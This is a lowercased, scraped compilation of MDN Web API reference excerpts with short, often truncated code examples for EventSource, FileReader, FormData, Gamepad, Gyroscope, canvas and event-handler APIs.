html <p>press any key or click the mouse to get the event type.</p> <p id="log"></p> javascript function geteventtype(event) { const log = document.getelementbyid('log'); log.innertext = event.type + '\n' + log.innertext; } // keyboard events document.addeventlistener('keydown', geteventtype, false); // first document.addeventlistener('keypress', geteventtype, false); // second document.addeventlistener('keyup', geteventtype, false); // third // mouse events ...
EventSource() - Web APIs
examples var evtsource = new eventsource('sse.php'); var eventlist = document.queryselector('ul'); evtsource.onmessage = function(e) { var newelement = document.createelement("li"); newelement.textcontent = "message: " + e.data; eventlist.appendchild(newelement); } note: you can find a full example on github — see simple sse demo using php.
EventSource: error event - Web APIs
bubbles no cancelable no interface event or errorevent event handler property eventsource.onerror examples var evtsource = new eventsource('sse.php'); // addeventlistener version evtsource.addeventlistener('error', (e) => { console.log("an error occurred while attempting to connect."); }); // onerror version evtsource.onerror = (e) => { console.log("an error occurred while attempting to connect."); }; specifications specification status html living standardthe definition of 'error event' in that specification.
EventSource: message event - Web APIs
var evtsource = new eventsource('sse.php'); var eventlist = document.queryselector('ul'); evtsource.addeventlistener('message', (e) => { var newelement = document.createelement("li"); newelement.textcontent = "message: " + e.data; eventlist.appendchild(newelement); }); onmessage equivalent evtsource.onmessage = (e) => { var newelement = document.createelement("li"); newelement.textcontent = "message: " + e.data; eventlist.appendchild(newelement); }; specifications specification status html living standardthe definition of 'message even...
EventSource.onerror - Web APIs
syntax eventsource.onerror = function examples evtsource.onerror = function() { console.log("eventsource failed."); }; note: you can find a full example on github — see simple sse demo using php.
EventSource.onmessage - Web APIs
syntax eventsource.onmessage = function examples evtsource.onmessage = function(e) { var newelement = document.createelement("li"); newelement.textcontent = "message: " + e.data; eventlist.appendchild(newelement); } note: you can find a full example on github — see simple sse demo using php.
EventSource.onopen - Web APIs
syntax eventsource.onopen = function examples evtsource.onopen = function() { console.log("connection to server opened."); }; note: you can find a full example on github — see simple sse demo using php.
EventSource: open event - Web APIs
bubbles no cancelable no interface event event handler property eventsource.onopen examples var evtsource = new eventsource('sse.php'); // addeventlistener version evtsource.addeventlistener('open', (e) => { console.log("the connection has been established."); }); // onopen version evtsource.onopen = (e) => { console.log("the connection has been established."); }; specifications specification status html living standardthe definition of 'open event' in that specification.
EventTarget() - Web APIs
examples class myeventtarget extends eventtarget { constructor(mysecret) { super(); this._secret = mysecret; } get secret() { return this._secret; } }; let myeventtarget = new myeventtarget(5); let value = myeventtarget.secret; // == 5 myeventtarget.addeventlistener("foo", function(e) { this._secret = e.detail; }); let event = new customevent("foo", { detail: 7 }); myeventtarget.dispatchevent(event); let newvalue = myeventtarget.secret; // == 7 specifications specification status comment domthe definition of 'eventtarget() constructor' in that specification.
EventTarget.dispatchEvent() - Web APIs
notes unlike "native" events, which are fired by the dom and invoke event handlers asynchronously via the event loop, dispatchevent() invokes event handlers synchronously.
ExtendableMessageEvent - Web APIs
// in the page being controlled if (navigator.serviceworker) { navigator.serviceworker.register('service-worker.js'); navigator.serviceworker.addeventlistener('message', event => { // event is a messageevent object console.log(`the service worker sent me a message: ${event.data}`); }); navigator.serviceworker.ready.then( registration => { registration.active.postmessage("hi service worker"); }); } the service worker can receive the message by listening to the message event: // in the service worker addeventlistener('message', event => { // event is an extendablemessageevent object console.log(`the client sent me a message: ${event.data}`); event.source.postmessage("hi client"); }); specifications specification status comment s...
FeaturePolicy.allowsFeature() - Web APIs
// first, get the feature policy object const featurepolicy = document.featurepolicy // then query feature for specific const allowed = featurepolicy.allowsfeature("camera") if (allowed){ console.log("fp allows camera.") } else { console.log("fp does not allows camera.") } specifications specification status comment feature policythe definition of 'allowsfeature' in that specification.
FeaturePolicy.getAllowlistForFeature() - Web APIs
// first, get the feature policy object const featurepolicy = document.featurepolicy // then query feature for specific const allowlist = featurepolicy.getallowlistforfeature("camera") for (const origin of allowlist){ console.log(origin) } specification specification status comment feature policythe definition of 'getallowlistforfeature' in that specification.
File.getAsBinary() - Web APIs
WebAPIFilegetAsBinary
example // fileinput is an htmlinputelement: <input type="file" id="myfileinput" multiple> var fileinput = document.getelementbyid("myfileinput"); // files is a filelist object (similar to nodelist) var files = fileinput.files; // object for allowed media types var accept = { binary : ["image/png", "image/jpeg"], text : ["text/plain", "text/css", "application/xml", "text/html"] }; var file; for (var i = 0; i < files.length; i++) { file = file...
File.lastModified - Web APIs
WebAPIFilelastModified
example reading from file input <input type="file" multiple id="fileinput"> const fileinput = document.queryselector('#fileinput'); fileinput.addeventlistener('change', (event) => { // files is a filelist object (similar to nodelist) const files = event.target.files; for (let file of files) { const date = new date(file.lastmodified); console.log(`${file.name} has a last modified date of ${date}`); } }); try the results o...
File.lastModifiedDate - Web APIs
example // fileinput is a htmlinputelement: <input type="file" multiple id="myfileinput"> var fileinput = document.getelementbyid("myfileinput"); // files is a filelist object (simliar to nodelist) var files = fileinput.files; for (var i = 0; i < files.length; i++) { alert(files[i].name + " has a last modified date of " + files[i].lastmodifieddate); } reduced time precision to offer protection against timing attacks and fingerprinting, the precision of somefile.lastmodifieddate.gettime() ...
File.webkitRelativePath - Web APIs
html content <input type="file" id="filepicker" name="filelist" webkitdirectory multiple /> <ul id="listing"></ul> javascript content document.getelementbyid("filepicker").addeventlistener("change", function(event) { let output = document.getelementbyid("listing"); let files = event.target.files; for (let i=0; i<files.length; i++) { let item = document.createelement("li"); item.innerhtml = files[i].webkitr...
FileException - Web APIs
when errors occur, forward them to the main app using postmessage() as in the following: function onerror(e) { postmessage('error:' + e.tostring()); } try { //error is thrown if "log.txt" already exists.
FileReader: error event - Web APIs
bubbles no cancelable no interface progressevent event handler property filereader.onerror examples const fileinput = document.queryselector('input[type="file"]'); const reader = new filereader(); function handleselected(e) { const selectedfile = fileinput.files[0]; if (selectedfile) { reader.addeventlistener('error', () => { console.error(`error occurred reading file: ${selectedfile.name}`); }); reader.addeventlistener('load', () => { console.error(`file: ${selectedfile.name} read successfully`); }); reader.readasdataurl(selectedfile);...
onerror - Web APIs
the filereader onerror handler receives an event object, not an error object, as a parameter, but an error can be accessed from the filereader object, as instanceoffilereader.error // callback from a <input type="file" onchange="onchange(event)"> function onchange(event) { var file = event.target.files[0]; var reader = new filereader(); reader.onerror = function(event) { alert("failed to read file!\n\n" + reader.error); reader.abort(); // (...does this do anything useful in an onerror handler?) }; reader.readastext(file); } ...
FileReader.onload - Web APIs
WebAPIFileReaderonload
example // callback from a <input type="file" onchange="onchange(event)"> function onchange(event) { var file = event.target.files[0]; var reader = new filereader(); reader.onload = function(e) { // the file's text will be printed here console.log(e.target.result) }; reader.readastext(file); } ...
FileReader.result - Web APIs
WebAPIFileReaderresult
var fileinput = document.queryselector('input[type="file"]'); function read(callback) { var file = fileinput.files.item(0); var reader = new filereader(); reader.onload = function() { callback(reader.result); } reader.readastext(file); } specifications specification status comment file apithe definition of 'result' in that specification.
FileSystem - Web APIs
instead you will have a "virtual drive" within the browser sandbox.
FileSystemDirectoryEntry - Web APIs
example in the following code snippet, we create a directory called "documents." // taking care of the browser-specific prefixes.
FileSystemEntry.getMetadata() - Web APIs
workingdirectory.getfile("tmp/log.txt", {}, function(fileentry) { fileentry.getmetadata(function(metadata) { if (metadata.size > 1048576) { workingdirectory.getdirectory("log", {}, function(direntry) { fileentry.moveto(direntry); }, handleerror); } }); }, handleerror); browser compatibility the compatibility table on this page is generated from structured data.
FileSystemEntry.isDirectory - Web APIs
if (entry.isdirectory) { processsubdirectory(entry); } else if (entry.isfile) { processfile(entry); } else { displayerrormessage("unsupported file system entry specified."); } specifications specification status comment file and directory entries apithe definition of 'isdirectory' in that specification.
FileSystemEntry.isFile - Web APIs
if (entry.isdirectory) { processsubdirectory(entry); } else if (entry.isfile) { processfile(entry); } else { displayerrormessage("unsupported file system entry specified."); } specifications specification status comment file and directory entries apithe definition of 'isfile' in that specification.
FileSystemEntry.name - Web APIs
function isfilewithextension(entry, extension) { return (entry.isfile && entry.name.endswith("." + extension)); } specifications specification status comment file and directory entries apithe definition of 'name' in that specification.
FileSystemEntry.remove() - Web APIs
workingdirectory.getfile("tmp/workfile.json", {}, function(fileentry) { fileentry.remove(function() { /* the file was removed successfully */ }); }, handleerror); browser compatibility the compatibility table on this page is generated from structured data.
FileSystemFileEntry.createWriter() - Web APIs
function writetofileentry(entry, text) { entry.createwriter(function(filewriter) { let data = blob([text], { type: "text/plain" }); filewriter.write(data); }, function(fileerror) { /* do whatever to handle the error */ }); } the success callback for the createwriter() call takes the text which was passed in and creates a new blob object of type text/plain that contains the passed text.
FileSystemFileEntry - Web APIs
example the following code creates an empty file called "log.txt" (if it doesn't exist) and fills it with the text "meow".
FileSystemFlags - Web APIs
methods which accept an options parameter of this type may specify zero or more of these flags as fields in an object, like this: datadirectoryentry.getdirectory("workspace", { create: true }, function(entry) { }); here, we see that the create property is provided, with a value of true, indicating that the directory should be created if it's not already there.
FocusEvent() - Web APIs
focuseventinit optional is a focuseventinit dictionary, having the following fields: "relatedtarget", optional and defaulting to null, is an eventtarget representing the secondary target of a focusevent.
FontFace.family - Web APIs
WebAPIFontFacefamily
syntax instanceoffontface.family = 'font family name'; var fontface = instanceoffontface.family; // "font family name" value a domstring.
FontFace - Web APIs
WebAPIFontFace
fontface.status read only returns an enumerated value indicating the status of the font, one of "unloaded", "loading", "loaded", or "error".
FormData.get() - Web APIs
WebAPIFormDataget
example the following line creates an empty formdata object: var formdata = new formdata(); if we add two username values using formdata.append: formdata.append('username', 'chris'); formdata.append('username', 'bob'); the following get() function will only return the first username value appended: formdata.get('username'); // returns "chris" specifications specification status comment xmlhttprequestthe definition of 'get()' in that specification.
FormData.getAll() - Web APIs
WebAPIFormDatagetAll
example the following line creates an empty formdata object: var formdata = new formdata(); if we add two username values using formdata.append: formdata.append('username', 'chris'); formdata.append('username', 'bob'); the following getall() function will return both username values in an array: formdata.getall('username'); // returns ["chris", "bob"] specifications specification status comment xmlhttprequestthe definition of 'getall()' in that specification.
FormData - Web APIs
WebAPIFormData
it uses the same format a form would use if the encoding type were set to "multipart/form-data".
FormDataEvent.formData - Web APIs
which fires the formdata event new formdata(formelem); }); // formdata handler to retrieve data formelem.addeventlistener('formdata', (e) => { console.log('formdata fired'); // get the form data from the event object let data = e.formdata; for (var value of data.values()) { console.log(value); } // submit the data via xhr var request = new xmlhttprequest(); request.open("post", "/formhandler"); request.send(data); }); specifications specification status comment html living standardthe definition of 'formdata' in that specification.
FormDataEvent - Web APIs
which fires the formdata event new formdata(formelem); }); // formdata handler to retrieve data formelem.addeventlistener('formdata', (e) => { console.log('formdata fired'); // get the form data from the event object let data = e.formdata; for (var value of data.values()) { console.log(value); } // submit the data via xhr var request = new xmlhttprequest(); request.open("post", "/formhandler"); request.send(data); }); specifications specification status comment html living standardthe definition of 'formdataevent' in that specification.
FullscreenOptions - Web APIs
the default, "auto", lets the browser make this decision.
Gamepad.axes - Web APIs
WebAPIGamepadaxes
mple function gameloop() { if(navigator.webkitgetgamepads) { var gp = navigator.webkitgetgamepads()[0]; } else { var gp = navigator.getgamepads()[0]; } if(gp.axes[0] != 0) { b -= gp.axes[0]; } else if(gp.axes[1] != 0) { a += gp.axes[1]; } else if(gp.axes[2] != 0) { b += gp.axes[2]; } else if(gp.axes[3] != 0) { a -= gp.axes[3]; } ball.style.left = a*2 + "px"; ball.style.top = b*2 + "px"; var start = raf(gameloop); }; value an array of double values.
Gamepad.buttons - Web APIs
WebAPIGamepadbuttons
navigator.getgamepads()[0]; if(gp.buttons[0].value > 0 || gp.buttons[0].pressed == true) { b--; } else if(gp.buttons[1].value > 0 || gp.buttons[1].pressed == true) { a++; } else if(gp.buttons[2].value > 0 || gp.buttons[2].pressed == true) { b++; } else if(gp.buttons[3].value > 0 || gp.buttons[3].pressed == true) { a--; } } ball.style.left = a*2 + "px"; ball.style.top = b*2 + "px"; var start = raf(gameloop); }; value an array of gamepadbutton objects.
Gamepad.hand - Web APIs
WebAPIGamepadhand
empty string ("") — this value is returned if the other values are not applicable, e.g.
Gamepad.id - Web APIs
WebAPIGamepadid
syntax readonly attribute domstring id; example window.addeventlistener("gamepadconnected", function() { var gp = navigator.getgamepads()[0]; gamepadinfo.innerhtml = "gamepad connected at index " + gp.index + ": " + gp.id + "."; }); value a string.
Gamepad.index - Web APIs
WebAPIGamepadindex
syntax readonly attribute long index; example window.addeventlistener("gamepadconnected", function() { var gp = navigator.getgamepads()[0]; gamepadinfo.innerhtml = "gamepad connected at index " + gp.index + ": " + gp.id + "."; }); value a number.
GamepadButton - Web APIs
navigator.getgamepads()[0]; if(gp.buttons[0].value > 0 || gp.buttons[0].pressed == true) { b--; } else if(gp.buttons[1].value > 0 || gp.buttons[1].pressed == true) { a++; } else if(gp.buttons[2].value > 0 || gp.buttons[2].pressed == true) { b++; } else if(gp.buttons[3].value > 0 || gp.buttons[3].pressed == true) { a--; } } ball.style.left = a*2 + "px"; ball.style.top = b*2 + "px"; var start = raf(gameloop); }; specifications specification status comment gamepadthe definition of 'gamepadbutton' in that specification.
Using the Geolocation API - Web APIs
body { padding: 20px; background-color:#ffffc9 } button { margin: .5rem 0; } html <button id = "find-me">show my location</button><br/> <p id = "status"></p> <a id = "map-link" target="_blank"></a> javascript function geofindme() { const status = document.queryselector('#status'); const maplink = document.queryselector('#map-link'); maplink.href = ''; maplink.textcontent = ''; function success(position) { const latitude = position.coords.latitude; const longitude = p...
GlobalEventHandlers.onabort - Web APIs
todo: define what "abort" is.
GlobalEventHandlers.onblur - Web APIs
html <input type="text" value="click here"> javascript let input = document.queryselector('input'); input.onblur = inputblur; input.onfocus = inputfocus; function inputblur() { input.value = 'focus has been lost'; } function inputfocus() { input.value = 'focus is here'; } result try clicking in and out of the form field, and watch its contents change accordingly.
GlobalEventHandlers.onchange - Web APIs
html <input type="text" placeholder="type something here, then click outside of the field." size="50"> <p id="log"></p> javascript let input = document.queryselector('input'); let log = document.getelementbyid('log'); input.onchange = handlechange; function handlechange(e) { log.textcontent = `the field's value is ${e.target.value.length} character(s) long.`; } result specification specifi...
GlobalEventHandlers.oncontextmenu - Web APIs
html <div class="shape">spinning</div> <p class="note" hidden>click to unpause.</p> css @keyframes spin { from { transform: rotate(0); } to { transform: rotate(1turn); } } .shape { width: 8em; height: 8em; display: flex; align-items: center; justify-content: center; animation: spin 18s linear infinite; background: lightsalmon; border-radius: 42%; margin: 1em; } .paused { bac...
GlobalEventHandlers.ondblclick - Web APIs
html <p>double click anywhere in this example.</p> <p id="log"></p> javascript let log = document.getelementbyid('log'); document.ondblclick = logdoubleclick; function logdoubleclick(e) { log.textcontent = `position: (${e.clientx}, ${e.clienty})`; } result specifications specification status comment html living standardthe definition of 'ondblclick' in that specification.
GlobalEventHandlers.onfocus - Web APIs
html <input type="text" value="click here"> javascript let input = document.queryselector('input'); input.onblur = inputblur; input.onfocus = inputfocus; function inputblur() { input.value = 'focus has been lost'; } function inputfocus() { input.value = 'focus is here'; } result try clicking in and out of the form field, and watch its contents change accordingly.
GlobalEventHandlers.onformdata - Web APIs
formdata object, which fires the formdata event new formdata(formelem); }); // formdata handler to retrieve data formelem.onformdata = (e) => { console.log('formdata fired'); // get the form data from the event object let data = e.formdata; for (var value of data.values()) { console.log(value); } // submit the data via xhr var request = new xmlhttprequest(); request.open("post", "/formhandler"); request.send(data); }; specifications specification status comment html living standardthe definition of 'onformdata' in that specification.
GlobalEventHandlers.oninput - Web APIs
html <input type="text" placeholder="type something here to see its length." size="50"> <p id="log"></p> javascript let input = document.queryselector('input'); let log = document.getelementbyid('log'); input.oninput = handleinput; function handleinput(e) { log.textcontent = `the field's value is ${e.target.value.length} character(s) long.`; } result specifications specification status ...
GlobalEventHandlers.oninvalid - Web APIs
html <form id="form"> <p id="error" hidden>please fill out all fields.</p> <label for="city">city</label> <input type="text" id="city" required> <button type="submit">submit</button> </form> <p id="thanks" hidden>your data has been received.
GlobalEventHandlers.onkeydown - Web APIs
html <input> <p id="log"></p> javascript const input = document.queryselector('input'); const log = document.getelementbyid('log'); input.onkeydown = logkey; function logkey(e) { log.textcontent += ` ${e.code}`; } result specifications specification status comment html living standardthe definition of 'onkeydown' in that specification.
GlobalEventHandlers.onkeyup - Web APIs
html <input> <p id="log"></p> javascript const input = document.queryselector('input'); const log = document.getelementbyid('log'); input.onkeyup = logkey; function logkey(e) { log.textcontent += ` ${e.code}`; } result specifications specification status comment html living standardthe definition of 'onkeyup' in that specification.
GlobalEventHandlers.onload - Web APIs
examples window.onload = function() { init(); dosomethingelse(); }; <!doctype html> <html> <head> <title>onload test</title> // es5 <script> function load() { console.log("load event detected!"); } window.onload = load; </script> // es2015 <script> const load = () => { console.log("load event detected!"); } window.onload = load; </script> </head> <body> <p>the load event fires when the document has finished loading!</p> </body> </html> notes the load event fires at the end of the document loading pro...
GlobalEventHandlers.onloadend - Web APIs
examples html content <img src="myimage.jpg"> javascript content // 'loadstart' fires first, then 'load', then 'loadend' image.addeventlistener('load', function(e) { console.log('image loaded'); }); image.addeventlistener('loadstart', function(e) { console.log('image load started'); }); image.addeventlistener('loadend', function(e) { console.log('image load finished'); }); ...
GlobalEventHandlers.onloadstart - Web APIs
examples html content <img src="myimage.jpg"> javascript content // 'loadstart' fires first, then 'load', then 'loadend' image.addeventlistener('load', function(e) { console.log('image loaded'); }); image.addeventlistener('loadstart', function(e) { console.log('image load started'); }); image.addeventlistener('loadend', function(e) { console.log('image load finished'); }); specifications specification status comment ...
GlobalEventHandlers.onmousedown - Web APIs
html <div class="container"> <div class="view" hidden></div> <img src="https://udn.realityripple.com/samples/90/a34a525ace.jpg"> </div> css .container { width: 320px; height: 213px; background: black; } .view { position: absolute; width: 100px; height: 100px; background: white; border-radius: 50%; } img { mix-blend-mode: darken; } javascript function showview(event) { view.removeattri...
GlobalEventHandlers.onmousemove - Web APIs
html <p><a href="#" data-tooltip="first link">see a tooltip here &hellip;</a></p> <p><a href="#" data-tooltip="second link">&hellip; or here!</a></p> css .tooltip { position: absolute; z-index: 9999; padding: 6px; background: #ffd; border: 1px #886 solid; border-radius: 5px; } javascript const tooltip = new (function() { const node = document.createelement('div'); node.classname = 'tooltip'; ...
GlobalEventHandlers.onresize - Web APIs
examples window size logger <p>resize the browser window to fire the <code>resize</code> event.</p> <p>window height: <span id="height"></span></p> <p>window width: <span id="width"></span></p> const heightoutput = document.queryselector('#height'); const widthoutput = document.queryselector('#width'); function resize() { heightoutput.textcontent = window.innerheight; widthoutput.textcontent = window.innerwidth; } window.onresize = resize; specification specification status comment html l...
GlobalEventHandlers.onscroll - Web APIs
html <textarea>1 2 3 4 5 6 7 8 9</textarea> <p id="log"></p> css textarea { width: 4rem; height: 8rem; font-size: 3rem; } javascript const textarea = document.queryselector('textarea'); const log = document.getelementbyid('log'); textarea.onscroll = logscroll; function logscroll(e) { log.textcontent = `scroll position: ${e.target.scrolltop}`; } result specifications specification status comment html l...
GlobalEventHandlers.onsubmit - Web APIs
html <form id="form"> <p id="error" hidden>please fill out all fields.</p> <label for="city">city</label> <input type="text" id="city" required> <button type="submit">submit</button> </form> <p id="thanks" hidden>your data has been received.
Gyroscope.x - Web APIs
WebAPIGyroscopex
let gyroscope = new gyroscope({frequency: 60}); gyroscope.addeventlistener('reading', e => { console.log("angular velocity along the x-axis " + gyroscope.x); console.log("angular velocity along the y-axis " + gyroscope.y); console.log("angular velocity along the z-axis " + gyroscope.z); }); gyroscope.start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
Gyroscope.y - Web APIs
WebAPIGyroscopey
let gyroscope = new gyroscope({frequency: 60}); gyroscope.addeventlistener('reading', e => { console.log("angular velocety along the x-axis " + gyroscope.x); console.log("angular velocety along the y-axis " + gyroscope.y); console.log("angular velocety along the z-axis " + gyroscope.z); }); gyroscope.start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
Gyroscope.z - Web APIs
WebAPIGyroscopez
let gyroscope = new gyroscope({frequency: 60}); gyroscope.addeventlistener('reading', e => { console.log("angular velocety along the x-axis " + gyroscope.x); console.log("angular velocety along the y-axis " + gyroscope.y); console.log("angular velocety along the z-axis " + gyroscope.z); }); gyroscope.start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
Gyroscope - Web APIs
WebAPIGyroscope
let gyroscope = new gyroscope({frequency: 60}); gyroscope.addeventlistener('reading', e => { console.log("angular velocity along the x-axis " + gyroscope.x); console.log("angular velocity along the y-axis " + gyroscope.y); console.log("angular velocity along the z-axis " + gyroscope.z); }); gyroscope.start(); specifications specification status comment generic sensor api candidate recommendation defines sensors in general.
HTMLAnchorElement.rel - Web APIs
syntax var relstr = anchorelt.rel; anchorelt.rel = relstr; example var anchors = document.getelementsbytagname("a"); var length = anchors.length; for (var i = 0; i < length; i++) { alert("rel: " + anchors[i].rel); } specifications specification status comment html living standardthe definition of 'rel' in that specification.
HTMLAnchorElement.relList - Web APIs
syntax var relstr = anchorelt.rellist; example var anchors = document.getelementsbytagname("a"); var length = anchors.length; for (var i = 0; i < length; i++) { var list = anchors[i].rellist; var listlength = list.length; console.log("new anchor node found with", listlength, "link types in rellist."); for (var j = 0; j < listlength; j++) { console.log(list[j]); } } specifications specification status comment html living standardthe definition ...
HTMLAreaElement.rel - Web APIs
syntax var relstr = areaelt.rel; areaelt.rel = relstr; example var areas = document.getelementsbytagname("area"); var length = areas.length; for (var i = 0; i < length; i++) { alert("rel: " + areas[i].rel); } specifications specification status comment html living standardthe definition of 'rel' in that specification.
HTMLAreaElement.relList - Web APIs
syntax var relstr = areaelt.rellist; example var areas = document.getelementsbytagname("area"); var length = areas.length; for (var i = 0; i < length; i++) { var list = areas[i].rellist; var listlength = list.length; console.log("new area found."); for (var j = 0; j < listlength; j++) { console.log(list[j]); } } specifications specification status comment html living standardthe definition of 'rellist' in that specification.
Audio() - Web APIs
the event-based approach is best: myaudioelement.addeventlistener("canplaythrough", event => { /* the audio is now playable; play it if permissions allow */ myaudioelement.play(); }); memory usage and management if all references to an audio element created using the audio() constructor are deleted, the element itself won't be removed from memory by the javascript runtime's garbage collection mechanism if playback is currently underway.
msAudioDeviceType - Web APIs
syntax <audio src="sound.mp3" msaudiodevicetype="communications" /> by default, audio on your system will output to your default speakers and be considered a foreground element, meaning that the audio will play only when the element is active in the app.
HTMLButtonElement.labels - Web APIs
example html <label id="label1" for="test">label 1</label> <button id="test">button</button> <label id="label2" for="test">label 2</label> javascript window.addeventlistener("domcontentloaded", function() { const button = document.getelementbyid("test"); for(var i = 0; i < button.labels.length; i++) { console.log(button.labels[i].textcontent); // "label 1" and "label 2" } }); specifications specification status comment html living standardthe definition of 'labels' in that spec...
HTMLCanvasElement.height - Web APIs
syntax var pxl = canvas.height; canvas.height = pxl; examples given this <canvas> element: <canvas id="canvas" width="300" height="300"></canvas> you can get the height of the canvas with the following code: var canvas = document.getelementbyid('canvas'); console.log(canvas.height); // 300 specifications specification status comment html living standardthe definition of 'htmlcanvaselement.height' in that specification.
HTMLCanvasElement.mozGetAsFile() - Web APIs
html <canvas id="canvas" width="100" height="100"></canvas> <p><a href="#" id="link">click here to try out mozgetasfile()</a>.</p> javascript the following code uses mozgetasfile() to create a file object from the canvas and appends it as an image to the page by loading it as a data url using the readasdataurl() method.
HTMLCanvasElement.mozOpaque - Web APIs
syntax var opaque = canvas.mozopaque; canvas.mozopaque = true; examples given this <canvas> element: <canvas id="canvas" width="300" height="300" moz-opaque></canvas> you can get or set the mozopaque property.
HTMLCanvasElement.toBlob() - Web APIs
the code snippet below, for example, takes the image in the <canvas> element whose id is "canvas", obtains a copy of it as a png image, then appends a new <img> element to the document, whose source image is the one created using the canvas.
HTMLCanvasElement: webglcontextcreationerror event - Web APIs
bubbles yes cancelable yes interface webglcontextevent event handler property none example var canvas = document.getelementbyid('canvas'); canvas.addeventlistener('webglcontextcreationerror', function(e) { console.log(e.statusmessage || 'unknown error'); }, false); var gl = canvas.getcontext('webgl'); // logs statusmessage or "unknown error" if unable to create webgl context specifications specification status comment webgl 1.0the definition of 'webglcontextcreationerror' in that specification.
HTMLCanvasElement: webglcontextlost event - Web APIs
bglcontextevent event handler property none example with the help of the webgl_lose_context extension, you can simulate the webglcontextlost event: const canvas = document.getelementbyid('canvas'); const gl = canvas.getcontext('webgl'); canvas.addeventlistener('webglcontextlost', (event) => { console.log(event); }); gl.getextension('webgl_lose_context').losecontext(); // "webglcontextlost" event is logged.
HTMLCanvasElement: webglcontextrestored event - Web APIs
vent event handler property none example with the help of the webgl_lose_context extension, you can simulate the webglcontextrestored event: var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); canvas.addeventlistener('webglcontextrestored', function(e) { console.log(e); }, false); gl.getextension('webgl_lose_context').restorecontext(); // "webglcontextrestored" event is logged.
HTMLCanvasElement.width - Web APIs
syntax var pxl = canvas.width; canvas.width = pxl; examples given this <canvas> element: <canvas id="canvas" width="300" height="300"></canvas> you can get the width of the canvas with the following code: var canvas = document.getelementbyid('canvas'); console.log(canvas.width); // 300 specifications specification status comment html living standardthe definition of 'htmlcanvaselement.width' in that specification.
HTMLCollection - Web APIs
for example, assuming there is one <form> element in the document and its id is myform: var elem1, elem2; // document.forms is an htmlcollection elem1 = document.forms[0]; elem2 = document.forms.item(0); alert(elem1 === elem2); // shows: "true" elem1 = document.forms.myform; elem2 = document.forms.nameditem("myform"); alert(elem1 === elem2); // shows: "true" elem1 = document.forms["named.item.with.periods"]; specifications specification status comment domthe definition of 'htmlcollection' in that specification.
HTMLContentElement.select - Web APIs
syntax object.select = "cssselector cssselector ..."; example // select <h1> elements and elements with class="error" mycontentobject.select = "h1 .error"; specifications this feature is no longer defined by any standards.
HTMLDetailsElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/htmldetailselement" target="_top"><rect x="1" y="1" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="91" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmldetailse...
HTMLDialogElement: close event - Web APIs
bubbles no cancelable no interface event event handler property onclose examples live example html <dialog class="example-dialog"> <button class="close" type="reset">close</button> </dialog> <button class="open-dialog">open dialog</button> <div class="result"></div> css button, div { margin: .5rem; } js const result = document.queryselector('.result'); const dialog = document.queryselector('.example-dialog'); dialog.addeventlistener('close', (event) => { result.textcontent = 'dialog was closed'; }); const opendialog = document.queryselector('.open-dialog'); opendialog.addeventlistener('click', () => { if (...
accessKeyLabel - Web APIs
yntax label = element.accesskeylabel example javascript var node = document.getelementbyid('btn1'); if (node.accesskeylabel) { node.title += ' [' + node.accesskeylabel + ']'; } else { node.title += ' [' + node.accesskey + ']'; } node.onclick = function () { var p = document.createelement('p'); p.textcontent = 'clicked!'; node.parentnode.appendchild(p); }; html <button accesskey="h" title="caption" id="btn1">hover me</button> result specifications specification status comment html living standardthe definition of 'htmlelement.accesskeylabel' in that specification.
HTMLElement: beforeinput event - Web APIs
html <input placeholder="enter some text" name="name"/> <p id="values"></p> javascript const input = document.queryselector('input'); const log = document.getelementbyid('values'); input.addeventlistener('beforeinput', updatevalue); function updatevalue(e) { log.textcontent = e.target.value; } result specifications specification status ui eventsthe definition of 'beforeinput event' in that ...
HTMLElement.click() - Web APIs
WebAPIHTMLElementclick
syntax element.click() example simulate a mouse-click when moving the mouse pointer over a checkbox: html <form> <input type="checkbox" id="mycheck" onmouseover="myfunction()" onclick="alert('click event occured')"> </form> javascript // on mouse-over, execute myfunction function myfunction() { document.getelementbyid("mycheck").click(); } specification specification status comment html living standard living standard document object model (dom) level 2 html specificatio...
HTMLElement.contextMenu - Web APIs
syntax var elementcontextmenu = element.contextmenu; example var contextmenu = document.getelementbyid("element").contextmenu; // change the label of the first menu entry contextmenu.firstelementchild.label = "new label"; ...
HTMLElement: input event - Web APIs
html <input placeholder="enter some text" name="name"/> <p id="values"></p> javascript const input = document.queryselector('input'); const log = document.getelementbyid('values'); input.addeventlistener('input', updatevalue); function updatevalue(e) { log.textcontent = e.target.value; } result specifications specification status html living standardthe definition of 'input event' in th...
HTMLElement.offsetHeight - Web APIs
if the element is hidden (for example, by setting style.display on the element or one of its ancestors to "none"), then 0 is returned.
HTMLElement.offsetWidth - Web APIs
if the element is hidden (for example, by setting style.display on the element or one of its ancestors to "none"), then 0 is returned.
HTMLElement.oncopy - Web APIs
html <h3>play with this text area:</h3> <textarea id="editor" rows="3">try copying and pasting text into this field!</textarea> <h3>log:</h3> <p id="log"></p> javascript const log = document.getelementbyid('log'); function logcopy(event) { log.innertext = 'copy blocked!\n' + log.innertext; event.preventdefault(); } function logpaste(event) { log.innertext = 'paste blocked!\n' + log.innertext; event.preventdefault(); } const editor = doc...
HTMLElement.oncut - Web APIs
WebAPIHTMLElementoncut
html <h3>play with this text area:</h3> <textarea id="editor" rows="3">try copying and cutting the text in this field!</textarea> <h3>log:</h3> <p id="log"></p> javascript function logcopy(event) { log.innertext = 'copied!\n' + log.innertext; } function preventcut(event) { event.preventdefault(); log.innertext = 'cut blocked!\n' + log.innertext; } const editor = document.getelementbyid('editor'); const log = document.getelementbyid('log');...
HTMLElement.onpaste - Web APIs
html <h3>play with this text area:</h3> <textarea id="editor" rows="3">try copying and pasting text into this field!</textarea> <h3>log:</h3> <p id="log"></p> javascript function logcopy(event) { log.innertext = 'copied!\n' + log.innertext; } function logpaste(event) { log.innertext = 'pasted!\n' + log.innertext; } const editor = document.getelementbyid('editor'); const log = document.getelementbyid('log'); editor.oncopy = logcopy; editor.o...
HTMLElement: pointercancel event - Web APIs
this may include, for example, the user switching applications using an application switcher interface or the "home" button on a mobile device.
